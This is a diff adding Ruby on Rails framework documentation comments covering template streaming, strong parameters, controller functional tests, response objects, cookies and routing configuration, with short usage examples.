+ # In such actions, you want to delay queries execution as much as you can.
+ # For example, imagine the following +dashboard+ action:
+ #
+ # def dashboard
+ # @posts = Post.all
+ # @pages = Page.all
+ # @articles = Article.all
+ # end
+ #
+ # Most of the queries here are happening in the controller. In order to benefit
+ # from streaming you would want to rewrite it as:
+ #
+ # def dashboard
+ # # Allow lazy execution of the queries
+ # @posts = Post.all
+ # @pages = Page.all
+ # @articles = Article.all
+ # render stream: true
+ # end
+ #
+ # Notice that :stream only works with templates. Rendering :json
+ # or :xml with :stream won't work.
+ #
+ # == Communication between layout and template
+ #
+ # When streaming, rendering happens top-down instead of inside-out.
+ # Rails starts with the layout, and the template is rendered later,
+ # when its +yield+ is reached.
+ #
+ # This means that, if your application currently relies on instance
+ # variables set in the template to be used in the layout, they won't
+ # work once you move to streaming. The proper way to communicate
+ # between layout and template, regardless of whether you use streaming
+ # or not, is by using +content_for+, +provide+ and +yield+.
+ #
+ # Take a simple example where the layout expects the template to tell
+ # which title to use:
+ #
+ # <html>
+ # <head><title><%= yield :title %></title></head>
+ # <body><%= yield %></body>
+ # </html>
+ #
+ # You would use +content_for+ in your template to specify the title:
+ #
+ # <%= content_for :title, "Main" %>
+ # Hello
+ #
+ # And the final result would be:
+ #
+ # <html>
+ # <head><title>Main</title></head>
+ # <body>Hello</body>
+ # </html>
+ #
+ # However, if +content_for+ is called several times, the final result
+ # would have all calls concatenated. For instance, if we have the following
+ # template:
+ #
+ # <%= content_for :title, "Main" %>
+ # Hello
+ # <%= content_for :title, " page" %>
+ #
+ # The final result would be:
+ #
+ # <html>
+ # <head><title>Main page</title></head>
+ # <body>Hello</body>
+ # </html>
+ #
+ # This means that, if you have <code>yield :title</code> in your layout
+ # and you want to use streaming, you would have to render the whole template
+ # (and eventually trigger all queries) before streaming the title and all
+ # assets, which kills the purpose of streaming. For this reason Rails 3.1
+ # introduces a new helper called +provide+ that does the same as +content_for+
+ # but tells the layout to stop searching for other entries and continue rendering.
+ #
+ # For instance, the template above using +provide+ would be:
+ #
+ # <%= provide :title, "Main" %>
+ # Hello
+ # <%= content_for :title, " page" %>
+ #
+ # Giving:
+ #
+ # <html>
+ # <head><title>Main</title></head>
+ # <body>Hello</body>
+ # </html>
+ #
+ # That said, when streaming, you need to properly check your templates
+ # and choose when to use +provide+ and +content_for+.
+ #
+ # == Headers, cookies, session and flash
+ #
+ # When streaming, the HTTP headers are sent to the client right before
+ # it renders the first line. This means that, modifying headers, cookies,
+ # session or flash after the template starts rendering will not propagate
+ # to the client.
+ #
+ # == Middlewares
+ #
+ # Middlewares that need to manipulate the body won't work with streaming.
+ # You should disable those middlewares whenever streaming in development
+ # or production. For instance, <tt>Rack::Bug</tt> won't work when streaming as it
+ # needs to inject contents in the HTML body.
+ #
+ # Also <tt>Rack::Cache</tt> won't work with streaming as it does not support
+ # streaming bodies yet. Whenever streaming Cache-Control is automatically
+ # set to "no-cache".
+ #
+ # == Errors
+ #
+ # When it comes to streaming, exceptions get a bit more complicated. This
+ # happens because part of the template was already rendered and streamed to
+ # the client, making it impossible to render a whole exception page.
+ #
+ # Currently, when an exception happens in development or production, Rails
+ # will automatically stream to the client:
+ #
+ # "><script>window.location = "/500.html"</script></html>
+ #
+ # The first two characters (">) are required in case the exception happens
+ # while rendering attributes for a given tag. You can check the real cause
+ # for the exception in your logger.
+ #
+ # == Web server support
+ #
+ # Not all web servers support streaming out-of-the-box. You need to check
+ # the instructions for each of them.
+ #
+ # ==== Unicorn
+ #
+ # Unicorn supports streaming but it needs to be configured. For this, you
+ # need to create a config file as follow:
+ #
+ # # unicorn.config.rb
+ # listen 3000, tcp_nopush: false
+ #
+ # And use it on initialization:
+ #
+ # unicorn_rails --config-file unicorn.config.rb
+ #
+ # You may also want to configure other parameters like <tt>:tcp_nodelay</tt>.
+ # Please check its documentation for more information: http://unicorn.bogomips.org/Unicorn/Configurator.html#method-i-listen
+ #
+ # If you are using Unicorn with Nginx, you may need to tweak Nginx.
+ # Streaming should work out of the box on Rainbows.
+ #

+ # to be used in Active Model mass assignment until they have been

+ # In addition, parameters can be marked as required and flow through a
+ # predefined raise/rescue flow to end up as a 400 Bad Request with no
+ # effort.
+ #
+ # class PeopleController < ActionController::Base
+ # # Using "Person.create(params[:person])" would raise an
+ # # ActiveModel::ForbiddenAttributes exception because it'd
+ # # be using mass assignment without an explicit permit step.
+ # # This is the recommended form:
+ # def create
+ # Person.create(person_params)
+ # end
+ #
+ # # This will pass with flying colors as long as there's a person key in the
+ # # parameters, otherwise it'll raise an ActionController::MissingParameter
+ # # exception, which will get caught by ActionController::Base and turned
+ # # into a 400 Bad Request reply.

+ # person.update!(person_params)

+ # private
+ # # Using a private method to encapsulate the permissible parameters is

+ # Superclass for ActionController functional tests. Functional tests allow you to
+ # test a single controller action per test method. This should not be confused with
+ # integration tests (see ActionDispatch::IntegrationTest), which are more like
+ # "stories" that can involve multiple controllers and multiple actions (i.e. multiple
+ # different HTTP requests).
+ #
+ # == Basic example
+ #
+ # Functional tests are written as follows:
+ # 1. First, one uses the +get+, +post+, +patch+, +put+, +delete+ or +head+ method to simulate
+ # an HTTP request.
+ # 2. Then, one asserts whether the current state is as expected. "State" can be anything:
+ # the controller's HTTP response, the database contents, etc.
+ #
+ # For example:
+ #
+ # class BooksControllerTest < ActionController::TestCase
+ # def test_create
+ # # Simulate a POST response with the given HTTP parameters.
+ # post(:create, book: { title: "Love Hina" })
+ #
+ # # Assert that the controller tried to redirect us to
+ # # the created book's URI.
+ # assert_response :found
+ #
+ # # Assert that the controller really put the book in the database.
+ # assert_not_nil Book.find_by(title: "Love Hina")
+ # end
+ # end
+ #
+ # You can also send a real document in the simulated HTTP request.
+ #
+ # def test_create
+ # json = {book: { title: "Love Hina" }}.to_json
+ # post :create, json
+ # end
+ #
+ # == Special instance variables
+ #
+ # ActionController::TestCase will also automatically provide the following instance
+ # variables for use in the tests:
+ #
+ # <b>@controller</b>::
+ # The controller instance that will be tested.
+ # <b>@request</b>::
+ # An ActionController::TestRequest, representing the current HTTP
+ # request. You can modify this object before sending the HTTP request. For example,
+ # you might want to set some session properties before sending a GET request.
+ # <b>@response</b>::
+ # An ActionController::TestResponse object, representing the response
+ # of the last HTTP response. In the above example, <tt>@response</tt> becomes valid
+ # after calling +post+. If the various assert methods are not sufficient, then you
+ # may use this object to inspect the HTTP response in detail.
+ #
+ # (Earlier versions of \Rails required each functional test to subclass
+ # Test::Unit::TestCase and define @controller, @request, @response in +setup+.)
+ #
+ # == Controller is automatically inferred
+ #
+ # ActionController::TestCase will automatically infer the controller under test
+ # from the test class name. If the controller cannot be inferred from the test
+ # class name, you can explicitly set it with +tests+.
+ #
+ # class SpecialEdgeCaseWidgetsControllerTest < ActionController::TestCase
+ # tests WidgetController
+ # end
+ #
+ # == \Testing controller internals
+ #
+ # In addition to these specific assertions, you also have easy access to various collections that the regular test/unit assertions
+ # can be used against. These collections are:
+ #
+ # * assigns: Instance variables assigned in the action that are available for the view.
+ # * session: Objects being saved in the session.
+ # * flash: The flash objects currently in the session.
+ # * cookies: \Cookies being sent to the user on this request.
+ #
+ # These collections can be used just like any other hash:
+ #
+ # assert_not_nil assigns(:person) # makes sure that a @person instance variable was set
+ # assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave"
+ # assert flash.empty? # makes sure that there's nothing in the flash
+ #
+ # For historic reasons, the assigns hash uses string-based keys. So <tt>assigns[:person]</tt> won't work, but <tt>assigns["person"]</tt> will. To
+ # appease our yearning for symbols, though, an alternative accessor has been devised using a method call instead of index referencing.
+ # So <tt>assigns(:person)</tt> will work just like <tt>assigns["person"]</tt>, but again, <tt>assigns[:person]</tt> will not work.
+ #
+ # On top of the collections, you have the complete url that a given action redirected to available in <tt>redirect_to_url</tt>.
+ #
+ # For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another
+ # action call which can then be asserted against.
+ #
+ # == Manipulating session and cookie variables
+ #
+ # Sometimes you need to set up the session and cookie variables for a test.
+ # To do this just assign a value to the session or cookie collection:
+ #
+ # session[:key] = "value"
+ # cookies[:key] = "value"
+ #
+ # To clear the cookies for a test just clear the cookie collection:
+ #
+ # cookies.clear
+ #
+ # == \Testing named routes
+ #
+ # If you're using named routes, they can be easily tested using the original named routes' methods straight in the test case.
+ #
+ # assert_redirected_to page_url(title: 'foo')

+module ActionDispatch # :nodoc:
+ # Represents an HTTP response generated by a controller action. Use it to
+ # retrieve the current state of the response, or customize the response. It can
+ # either represent a real HTTP response (i.e. one that is meant to be sent
+ # back to the web browser) or a TestResponse (i.e. one that is generated
+ # from integration tests).
+ #
+ # \Response is mostly a Ruby on \Rails framework implementation detail, and
+ # should never be used directly in controllers. Controllers should use the
+ # methods defined in ActionController::Base instead. For example, if you want
+ # to set the HTTP response's content MIME type, then use
+ # ActionControllerBase#headers instead of Response#headers.
+ #
+ # Nevertheless, integration tests may want to inspect controller responses in
+ # more detail, and that's when \Response can be useful for application
+ # developers. Integration test methods such as
+ # ActionDispatch::Integration::Session#get and
+ # ActionDispatch::Integration::Session#post return objects of type
+ # TestResponse (which are of course also of type \Response).
+ #
+ # For example, the following demo integration test prints the body of the
+ # controller response to the console:
+ #

+ # def test_print_root_path_to_console

+ # \Cookies are read and written through ActionController#cookies.
+ #
+ # The cookies being read are the ones received along with the request, the cookies
+ # being written will be sent out with the response. Reading a cookie does not get
+ # the cookie object itself back, just the value it holds.
+ #
+ # Examples of writing:
+ #
+ # # Sets a simple session cookie.
+ # # This cookie will be deleted when the user's browser is closed.
+ # cookies[:user_name] = "david"
+ #
+ # # Assign an array of values to a cookie.
+ # cookies[:lat_lon] = [47.68, -122.37]
+ #
+ # # Sets a cookie that expires in 1 hour.
+ # cookies[:login] = { value: "XJ-122", expires: 1.hour.from_now }
+ #
+ # # Sets a signed cookie, which prevents users from tampering with its value.
+ # # The cookie is signed by your app's <tt>config.secret_key_base</tt> value.
+ # # It can be read using the signed method <tt>cookies.signed[:name]</tt>
+ # cookies.signed[:user_id] = current_user.id
+ #
+ # # Sets a "permanent" cookie (which expires in 20 years from now).
+ # cookies.permanent[:login] = "XJ-122"
+ #
+ # # You can also chain these methods:
+ # cookies.permanent.signed[:login] = "XJ-122"
+ #
+ # Examples of reading:
+ #
+ # cookies[:user_name] # => "david"
+ # cookies.size # => 2
+ # cookies[:lat_lon] # => [47.68, -122.37]
+ # cookies.signed[:login] # => "XJ-122"
+ #
+ # Example for deleting:
+ #
+ # cookies.delete :user_name
+ #
+ # Please note that if you specify a :domain when setting a cookie, you must also specify the domain when deleting the cookie:
+ #
+ # cookies[:name] = {
+ # value: 'a yummy cookie',
+ # expires: 1.year.from_now,
+ # domain: 'domain.com'
+ # }
+ #
+ # cookies.delete(:name, domain: 'domain.com')
+ #
+ # The option symbols for setting cookies are:
+ #
+ # * <tt>:value</tt> - The cookie's value or list of values (as an array).
+ # * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root
+ # of the application.
+ # * <tt>:domain</tt> - The domain for which this cookie applies so you can
+ # restrict to the domain level. If you use a schema like www.example.com
+ # and want to share session with user.example.com set <tt>:domain</tt>
+ # to <tt>:all</tt>. Make sure to specify the <tt>:domain</tt> option with
+ # <tt>:all</tt> again when deleting cookies.
+ #
+ # domain: nil # Does not sets cookie domain. (default)
+ # domain: :all # Allow the cookie for the top most level
+ # domain and subdomains.
+ #
+ # * <tt>:expires</tt> - The time at which this cookie expires, as a \Time object.
+ # * <tt>:secure</tt> - Whether this cookie is a only transmitted to HTTPS servers.
+ # Default is +false+.
+ # * <tt>:httponly</tt> - Whether this cookie is accessible via scripting or
+ # only HTTP. Defaults to +false+.

+ #
+ # The cookie jar used for storage is automatically configured to be the
+ # best possible option given your application's configuration.
+ #
+ # If you only have secret_token set, your cookies will be signed, but
+ # not encrypted. This means a user cannot alter his +user_id+ without
+ # knowing your app's secret key, but can easily read his +user_id+. This
+ # was the default for Rails 3 apps.
+ #
+ # If you have secret_key_base set, your cookies will be encrypted. This
+ # goes a step further than signed cookies in that encrypted cookies cannot
+ # be altered or read by users. This is the default starting in Rails 4.
+ #
+ # If you have both secret_token and secret_key base set, your cookies will
+ # be encrypted, and signed cookies generated by Rails 3 will be
+ # transparently read and encrypted to provide a smooth upgrade path.
+ #
+ # Configure your session store in config/initializers/session_store.rb:
+ #
+ # Myapp::Application.config.session_store :cookie_store, key: '_your_app_session'
+ #
+ # Configure your secret key in config/initializers/secret_token.rb:
+ #
+ # Myapp::Application.config.secret_key_base 'secret key'
+ #
+ # To generate a secret key for an existing application, run `rake secret`.
+ #
+ # If you are upgrading an existing Rails 3 app, you should leave your
+ # existing secret_token in place and simply add the new secret_key_base.
+ # Note that you should wait to set secret_key_base until you have 100% of
+ # your userbase on Rails 4 and are reasonably sure you will not need to
+ # rollback to Rails 3. This is because cookies signed based on the new
+ # secret_key_base in Rails 4 are not backwards compatible with Rails 3.
+ # You are free to leave your existing secret_token in place, not set the

+ # The routing module provides URL rewriting in native Ruby. It's a way to
+ # redirect incoming requests to controllers and actions. This replaces
+ # mod_rewrite rules. Best of all, Rails' \Routing works with any web server.
+ # Routes are defined in <tt>config/routes.rb</tt>.
+ #
+ # Think of creating routes as drawing a map for your requests. The map tells
+ # them where to go based on some predefined pattern:
+ #
+ # AppName::Application.routes.draw do
+ # Pattern 1 tells some request to go to one place
+ # Pattern 2 tell them to go to another
+ # ...
+ # end
+ #
+ # The following symbols are special:
+ #
+ # :controller maps to your controller name
+ # :action maps to an action with your controllers
+ #
+ # Other names simply map to a parameter as in the case of <tt>:id</tt>.
+ #
+ # == Resources
+ #
+ # Resource routing allows you to quickly declare all of the common routes
+ # for a given resourceful controller. Instead of declaring separate routes
+ # for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+
+ # actions, a resourceful route declares them in a single line of code:
+ #
+ # resources :photos
+ #
+ # Sometimes, you have a resource that clients always look up without
+ # referencing an ID. A common example, /profile always shows the profile of
+ # the currently logged in user. In this case, you can use a singular resource
+ # to map /profile (rather than /profile/:id) to the show action.
+ #
+ # resource :profile
+ #
+ # It's common to have resources that are logically children of other
+ # resources:
+ #
+ # resources :magazines do
+ # resources :ads
+ # end
+ #
+ # You may wish to organize groups of controllers under a namespace. Most
+ # commonly, you might group a number of administrative controllers under
+ # an +admin+ namespace. You would place these controllers under the
+ # <tt>app/controllers/admin</tt> directory, and you can group them together
+ # in your router:
+ #
+ # namespace "admin" do
+ # resources :posts, :comments
+ # end
+ #
+ # Alternately, you can add prefixes to your path without using a separate
+ # directory by using +scope+. +scope+ takes additional options which
+ # apply to all enclosed routes.
+ #
+ # scope path: "/cpanel", as: 'admin' do
+ # resources :posts, :comments
+ # end
+ #
+ # For more, see <tt>Routing::Mapper::Resources#resources</tt>,
+ # <tt>Routing::Mapper::Scoping#namespace</tt>, and
+ # <tt>Routing::Mapper::Scoping#scope</tt>.
+ #
+ # == Non-resourceful routes
+ #
+ # For routes that don't fit the <tt>resources</tt> mold, you can use the HTTP helper
+ # methods <tt>get</tt>, <tt>post</tt>, <tt>patch</tt>, <tt>put</tt> and <tt>delete</tt>.
+ #
+ # get 'post/:id' => 'posts#show'
+ # post 'post/:id' => 'posts#create_comment'
+ #
+ # If your route needs to respond to more than one HTTP method (or all methods) then using the
+ # <tt>:via</tt> option on <tt>match</tt> is preferable.
+ #
+ # match 'post/:id' => 'posts#show', via: [:get, :post]
+ #
+ # Now, if you POST to <tt>/posts/:id</tt>, it will route to the <tt>create_comment</tt> action. A GET on the same
+ # URL will route to the <tt>show</tt> action.
+ #
+ # == Named routes
+ #
+ # Routes can be named by passing an <tt>:as</tt> option,
+ # allowing for easy reference within your source as +name_of_route_url+
+ # for the full URL and +name_of_route_path+ for the URI path.
+ #
+ # Example:
+ #
+ # # In routes.rb
+ # get '/login' => 'accounts#login', as: 'login'
+ #
+ # # With render, redirect_to, tests, etc.
+ # redirect_to login_url
+ #
+ # Arguments can be passed as well.
+ #
+ # redirect_to show_item_path(id: 25)
+ #
+ # Use <tt>root</tt> as a shorthand to name a route for the root path "/".
+ #
+ # # In routes.rb
+ # root to: 'blogs#index'
+ #
+ # # would recognize http://www.example.com/ as
+ # params = { controller: 'blogs', action: 'index' }
+ #
+ # # and provide these named routes
+ # root_url # => 'http://www.example.com/'
+ # root_path # => '/'
+ #
+ # Note: when using +controller+, the route is simply named after the
+ # method you call on the block parameter rather than map.
+ #
+ # # In routes.rb
+ # controller :blog do
+ # get 'blog/show' => :list
+ # get 'blog/delete' => :delete
+ # get 'blog/edit/:id' => :edit
+ # end
+ #
+ # # provides named routes for show, delete, and edit
+ # link_to @article.title, show_path(id: @article.id)
+ #
+ # == Pretty URLs
+ #
+ # Routes can generate pretty URLs. For example:
+ #
+ # get '/articles/:year/:month/:day' => 'articles#find_by_id', constraints: {
+ # year: /\d{4}/,
+ # month: /\d{1,2}/,
+ # day: /\d{1,2}/
+ # }
+ #
+ # Using the route above, the URL "http://localhost:3000/articles/2005/11/06"
+ # maps to
+ #
+ # params = {year: '2005', month: '11', day: '06'}
+ #
+ # == Regular Expressions and parameters
+ # You can specify a regular expression to define a format for a parameter.
+ #
+ # controller 'geocode' do
+ # get 'geocode/:postalcode' => :show, constraints: {
+ # postalcode: /\d{5}(-\d{4})?/
+ # }
+ #
+ # Constraints can include the 'ignorecase' and 'extended syntax' regular
+ # expression modifiers:
+ #
+ # controller 'geocode' do
+ # get 'geocode/:postalcode' => :show, constraints: {
+ # postalcode: /hx\d\d\s\d[a-z]{2}/i
+ # }
+ # end
+ #
+ # controller 'geocode' do
+ # get 'geocode/:postalcode' => :show, constraints: {
+ # postalcode: /# Postcode format
+ # \d{5} #Prefix
+ # (-\d{4})? #Suffix
+ # /x
+ # }
+ # end
+ #
+ # Using the multiline modifier will raise an +ArgumentError+.
+ # Encoding regular expression modifiers are silently ignored. The
+ # match will always use the default encoding or ASCII.
+ #
+ # == External redirects
+ #
+ # You can redirect any path to another path using the redirect helper in your router:
+ #
+ # get "/stories" => redirect("/posts")
+ #
+ # == Unicode character routes
+ #
+ # You can specify unicode character routes in your router:
+ #
+ # get "こんにちは" => "welcome#index"
+ #
+ # == Routing to Rack Applications
+ #
+ # Instead of a String, like <tt>posts#index</tt>, which corresponds to the
+ # index action in the PostsController, you can specify any Rack application
+ # as the endpoint for a matcher:
+ #
+ # get "/application.js" => Sprockets
+ #
+ # == Reloading routes
+ #
+ # You can reload routes if you feel you must:
+ #
+ # Rails.application.reload_routes!
+ #
+ # This will clear all named routes and reload routes.rb if the file has been modified from
+ # last load. To absolutely force reloading, use <tt>reload!</tt>.
+ #
+ # == Testing Routes
+ #
+ # The two main methods for testing your routes:
+ #
+ # === +assert_routing+
+ #
+ # def test_movie_route_properly_splits
+ # opts = {controller: "plugin", action: "checkout", id: "2"}
+ # assert_routing "plugin/checkout/2", opts
+ # end
+ #
+ # +assert_routing+ lets you test whether or not the route properly resolves into options.
+ #
+ # === +assert_recognizes+
+ #
+ # def test_route_has_options
+ # opts = {controller: "plugin", action: "show", id: "12"}
+ # assert_recognizes opts, "/plugins/show/12"
+ # end
+ #
+ # Note the subtle difference between the two: +assert_routing+ tests that
+ # a URL fits options while +assert_recognizes+ tests that a URL
+ # breaks into parameters properly.
+ #
+ # In tests you can simply pass the URL or named route to +get+ or +post+.
+ #
+ # def send_to_jail
+ # get '/jail'
+ # assert_response :success
+ # assert_template "jail/front"
+ # end
+ #
+ # def goes_to_login
+ # get login_url
+ # #...
+ # end
+ #
+ # == View a list of all your routes
+ #
+ # rake routes
+ #
+ # Target specific controllers by prefixing the command with <tt>CONTROLLER=x</tt>.

+ #
+ # You can also pass a string which will expand
+ #
+ # root 'pages#main'
+ #
+ # You should put the root route at the top of <tt>config/routes.rb</tt>,

+ # Matches a url pattern to one or more routes. Any symbols in a pattern
+ # are interpreted as url query parameters and thus available as +params+
+ # in an action:
+ #
+ # # sets :controller, :action and :id in params
+ # match ':controller/:action/:id'
+ #
+ # Two of these symbols are special, +:controller+ maps to the controller
+ # and +:action+ to the controller's action. A pattern can also map
+ # wildcard segments (globs) to params:
+ #
+ # match 'songs/*category/:title', to: 'songs#show'
+ #
+ # # 'songs/rock/classic/stairway-to-heaven' sets
+ # # params[:category] = 'rock/classic'
+ # # params[:title] = 'stairway-to-heaven'
+ #
+ # When a pattern points to an internal route, the route's +:action+ and
+ # +:controller+ should be set in options or hash shorthand. Examples:
+ #
+ # match 'photos/:id' => 'photos#show'
+ # match 'photos/:id', to: 'photos#show'
+ # match 'photos/:id', controller: 'photos', action: 'show'
+ #
+ # A pattern can also point to a +Rack+ endpoint i.e. anything that
+ # responds to +call+:
+ #
+ # match 'photos/:id', to: lambda {|hash| [200, {}, ["Coming soon"]] }
+ # match 'photos/:id', to: PhotoRackApp
+ # # Yes, controller actions are just rack endpoints
+ # match 'photos/:id', to: PhotosController.action(:show)
+ #
+ # Because request various HTTP verbs with a single action has security
+ # implications, is recommendable use HttpHelpers[rdoc-ref:HttpHelpers]
+ # instead +match+
+ #
+ # === Options
+ #
+ # Any options not seen here are passed on as params with the url.
+ #
+ # [:controller]
+ # The route's controller.
+ #
+ # [:action]
+ # The route's action.
+ #
+ # [:path]
+ # The path prefix for the routes.
+ #
+ # [:module]
+ # The namespace for :controller.
+ #
+ # match 'path', to: 'c#a', module: 'sekret', controller: 'posts'
+ # #=> Sekret::PostsController
+ #
+ # See <tt>Scoping#namespace</tt> for its scope equivalent.
+ #
+ # [:as]
+ # The name used to generate routing helpers.
+ #
+ # [:via]
+ # Allowed HTTP verb(s) for route.
+ #
+ # match 'path', to: 'c#a', via: :get
+ # match 'path', to: 'c#a', via: [:get, :post]
+ # match 'path', to: 'c#a', via: :all
+ #
+ # [:to]
+ # Points to a +Rack+ endpoint. Can be an object that responds to
+ # +call+ or a string representing a controller's action.
+ #
+ # match 'path', to: 'controller#action'
+ # match 'path', to: lambda { |env| [200, {}, ["Success!"]] }
+ # match 'path', to: RackApp
+ #
+ # [:on]
+ # Shorthand for wrapping routes in a specific RESTful context. Valid
+ # values are +:member+, +:collection+, and +:new+. Only use within
+ # <tt>resource(s)</tt> block. For example:
+ #
+ # resource :bar do
+ # match 'foo', to: 'c#a', on: :member, via: [:get, :post]
+ # end
+ #
+ # Is equivalent to:
+ #
+ # resource :bar do
+ # member do
+ # match 'foo', to: 'c#a', via: [:get, :post]
+ # end
+ # end
+ #
+ # [:constraints]
+ # Constrains parameters with a hash of regular expressions
+ # or an object that responds to <tt>matches?</tt>. In addition, constraints
+ # other than path can also be specified with any object
+ # that responds to <tt>===</tt> (eg. String, Array, Range, etc.).
+ #
+ # match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }
+ #
+ # match 'json_only', constraints: { format: 'json' }
+ #
+ # class Blacklist
+ # def matches?(request) request.remote_ip == '1.2.3.4' end

+ # match 'path', to: 'c#a', constraints: Blacklist.new
+ #
+ # See <tt>Scoping#constraints</tt> for more examples with its scope
+ # equivalent.
+ #
+ # [:defaults]
+ # Sets defaults for parameters
+ #
+ # # Sets params[:format] to 'jpg' by default
+ # match 'path', to: 'c#a', defaults: { format: 'jpg' }
+ #
+ # See <tt>Scoping#defaults</tt> for its scope equivalent.
+ #
+ # [:anchor]
+ # Boolean to anchor a <tt>match</tt> pattern. Default is true. When set to
+ # false, the pattern matches any request prefixed with the given path.
+ #
+ # # Matches any request starting with 'path'
+ # match 'path', to: 'c#a', anchor: false
+ #
+ # [:format]

+ # together in your router:
+ #
+ # namespace "admin" do
+ # resources :posts, :comments
+ # end
+ #
+ # This will create a number of routes for each of the posts and comments
+ # controller. For <tt>Admin::PostsController</tt>, Rails will create:
+ #
+ # GET /admin/posts
+ # GET /admin/posts/new
+ # POST /admin/posts
+ # GET /admin/posts/1
+ # GET /admin/posts/1/edit
+ # PATCH/PUT /admin/posts/1
+ # DELETE /admin/posts/1
+ #
+ # If you want to route /posts (without the prefix /admin) to
+ # <tt>Admin::PostsController</tt>, you could use
+ #
+ # scope module: "admin" do
+ # resources :posts
+ # end
+ #
+ # or, for a single case

+ # end
+ #
+ # or, for a single case
+ #
+ # resources :posts, path: "/admin/posts"
+ #
+ # In each of these cases, the named routes remain the same as if you did
+ # not use scope. In the last case, the following paths map to
+ # +PostsController+:
+ #
+ # GET /admin/posts
+ # GET /admin/posts/new
+ # POST /admin/posts
+ # GET /admin/posts/1
+ # GET /admin/posts/1/edit
+ # PATCH/PUT /admin/posts/1

+ #
+ # Now routes such as +/posts/1+ will no longer be valid, but +/posts/1.1+ will be.

+ #
+ # resources :posts do
+ # constraints(post_id: /\d+\.\d+/) do
+ # resources :comments

+ #
+ # === Restricting based on IP
+ #
+ # Routes can also be constrained to an IP or a certain range of IP addresses:
+ #
+ # constraints(ip: /192\.168\.\d+\.\d+/) do
+ # resources :posts
+ # end
+ #
+ # Any user connecting from the 192.168.* range will be able to see this resource,
+ # where as any user connecting outside of this range will be told there is no such route.
+ #
+ # === Dynamic request matching
+ #
+ # Requests to routes can be constrained based on specific criteria:
+ #
+ # constraints(lambda { |req| req.env["HTTP_USER_AGENT"] =~ /iPhone/ }) do
+ # resources :iphones
+ # end
+ #
+ # You are able to move this logic out into a class if it is too complex for routes.
+ # This class must have a +matches?+ method defined on it which either returns +true+
+ # if the user should be given access to that route, or +false+ if the user should not.
+ #
+ # class Iphone
+ # def self.matches?(request)
+ # request.env["HTTP_USER_AGENT"] =~ /iPhone/
+ # end
+ # end
+ #

+ #
+ # GET /photos/:photo_id/comments
+ # GET /photos/:photo_id/comments/new
+ # POST /photos/:photo_id/comments
+ # GET /photos/:photo_id/comments/:id
+ # GET /photos/:photo_id/comments/:id/edit
+ # PATCH/PUT /photos/:photo_id/comments/:id
+ # DELETE /photos/:photo_id/comments/:id
+ #
+ # === Options
+ # Takes same options as <tt>Base#match</tt> as well as:
+ #
+ # [:path_names]
+ # Allows you to change the segment component of the +edit+ and +new+ actions.
+ # Actions not specified are not changed.
+ #
+ # resources :posts, path_names: { new: "brand_new" }
+ #
+ # The above example will now change /posts/new to /posts/brand_new
+ #
+ # [:path]
+ # Allows you to change the path prefix for the resource.
+ #
+ # resources :posts, path: 'postings'
+ #
+ # The resource and all segments will now route to /postings instead of /posts
+ #
+ # [:only]
+ # Only generate routes for the given actions.
+ #
+ # resources :cows, only: :show
+ # resources :cows, only: [:show, :index]
+ #
+ # [:except]
+ # Generate all routes except for the given actions.
+ #
+ # resources :cows, except: :show
+ # resources :cows, except: [:show, :index]
+ #
+ # [:shallow]
+ # Generates shallow routes for nested resource(s). When placed on a parent resource,
+ # generates shallow routes for all nested resources.
+ #
+ # resources :posts, shallow: true do
+ # resources :comments
+ # end
+ #
+ # Is the same as:
+ #
+ # resources :posts do
+ # resources :comments, except: [:show, :edit, :update, :destroy]
+ # end
+ # resources :comments, only: [:show, :edit, :update, :destroy]
+ #
+ # This allows URLs for resources that otherwise would be deeply nested such
+ # as a comment on a blog post like <tt>/posts/a-long-permalink/comments/1234</tt>
+ # to be shortened to just <tt>/comments/1234</tt>.
+ #
+ # [:shallow_path]
+ # Prefixes nested shallow routes with the specified path.
+ #
+ # scope shallow_path: "sekret" do
+ # resources :posts do
+ # resources :comments, shallow: true
+ # end
+ # end
+ #
+ # The +comments+ resource here will have the following routes generated for it:
+ #
+ # post_comments GET /posts/:post_id/comments(.:format)
+ # post_comments POST /posts/:post_id/comments(.:format)
+ # new_post_comment GET /posts/:post_id/comments/new(.:format)
+ # edit_comment GET /sekret/comments/:id/edit(.:format)
+ # comment GET /sekret/comments/:id(.:format)
+ # comment PATCH/PUT /sekret/comments/:id(.:format)
+ # comment DELETE /sekret/comments/:id(.:format)
+ #
+ # [:shallow_prefix]
+ # Prefixes nested shallow route names with specified prefix.
+ #
+ # scope shallow_prefix: "sekret" do
+ # resources :posts do
+ # resources :comments, shallow: true
+ # end
+ # end
+ #
+ # The +comments+ resource here will have the following routes generated for it:
+ #
+ # post_comments GET /posts/:post_id/comments(.:format)
+ # post_comments POST /posts/:post_id/comments(.:format)
+ # new_post_comment GET /posts/:post_id/comments/new(.:format)
+ # edit_sekret_comment GET /comments/:id/edit(.:format)
+ # sekret_comment GET /comments/:id(.:format)
+ # sekret_comment PATCH/PUT /comments/:id(.:format)
+ # sekret_comment DELETE /comments/:id(.:format)
+ #
+ # [:format]
+ # Allows you to specify the default value for optional +format+
+ # segment or disable it by supplying +false+.
+ #
+ # === Examples
+ #

+
+module ActionDispatch
+ module Routing
+ # Polymorphic URL helpers are methods for smart resolution to a named route call when
+ # given an Active Record model instance. They are to be used in combination with
+ # ActionController::Resources.
+ #
+ # These methods are useful when you want to generate correct URL or path to a RESTful
+ # resource without having to know the exact type of the record in question.
+ #
+ # Nested resources and/or namespaces are also supported, as illustrated in the example:
+ #
+ # polymorphic_url([:admin, @article, @comment])
+ #
+ # results in:
+ #
+ # admin_article_comment_url(@article, @comment)
+ #
+ # == Usage within the framework
+ #
+ # Polymorphic URL helpers are used in a number of places throughout the \Rails framework:
+ #
+ # * <tt>url_for</tt>, so you can use it with a record as the argument, e.g.
+ # <tt>url_for(@article)</tt>;
+ # * ActionView::Helpers::FormHelper uses <tt>polymorphic_path</tt>, so you can write
+ # <tt>form_for(@article)</tt> without having to specify <tt>:url</tt> parameter for the form
+ # action;
+ # * <tt>redirect_to</tt> (which, in fact, uses <tt>url_for</tt>) so you can write
+ # <tt>redirect_to(post)</tt> in your controllers;
+ # * ActionView::Helpers::AtomFeedHelper, so you don't have to explicitly specify URLs
+ # for feed entries.
+ #
+ # == Prefixed polymorphic helpers
+ #
+ # In addition to <tt>polymorphic_url</tt> and <tt>polymorphic_path</tt> methods, a
+ # number of prefixed helpers are available as a shorthand to <tt>action: "..."</tt>
+ # in options. Those are:
